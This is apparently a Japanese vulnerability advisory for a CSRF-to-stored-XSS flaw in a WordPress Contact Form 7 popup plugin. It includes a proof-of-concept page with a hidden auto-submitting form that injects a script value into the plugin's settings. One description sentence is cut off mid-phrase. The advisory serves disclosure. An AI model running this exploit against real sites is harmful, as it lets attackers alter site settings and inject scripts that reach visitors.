CVE-2026-65540

CF7用ポップアップ with Sweet Alert <= 1.6.5 - クロスサイトリクエストフォージェリ

プラグインURL

https://wordpress.org/plugins/cf7-sweet-alert-popup/

説明

このプラグインの設定ハンドラには、nonce検証における論理エラーがあり、すべてのCSRF保護が無効化されています。 未認証の攻撃者は、認証済みの管理者を隠された自動送信フォームを含む悪意のあるページにアクセスさせることでこれを悪用し、プラグイン設定を任意に変更できます。 送信された値はサニタイズされずに保存され、wp_headを介してすべてのフロントエンドページの

POC

1. 以下のHTMLページを別のサーバーでホストします:

<!DOCTYPE html>
<html>
<body>
<h1>Hello</h1>

<form style="visibility:hidden" action="http://TARGET/wp-admin/admin.php?page=cf7-simplepopup"
      method="POST" id="csrf" target="hiddenframe">
  <input name="cf7simplePopupWidth" value="500;alert(document.domain)">
  <input name="cf7simplePopupNonce" value="invalid_nonce">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

2. 管理者としてWordPressにログインします
3. 悪意のあるページにアクセスします
4. (任意) http://TARGET/wp-admin/admin.php?page=cf7-simplepopup に移動し、Widthフィールドに 500;alert(document.domain) が含まれていることを確認します
5. 任意のフロントエンドページにアクセスすると、ブラウザで alert(document.domain) が実行され、保存型XSSが確認できます